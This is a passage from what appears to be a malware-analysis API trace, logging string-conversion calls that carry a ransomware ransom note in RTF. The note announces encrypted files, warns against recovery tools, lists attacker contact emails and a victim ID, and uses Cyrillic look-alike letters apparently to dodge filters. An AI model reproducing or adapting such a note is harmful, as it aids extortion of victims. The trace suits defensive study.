nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 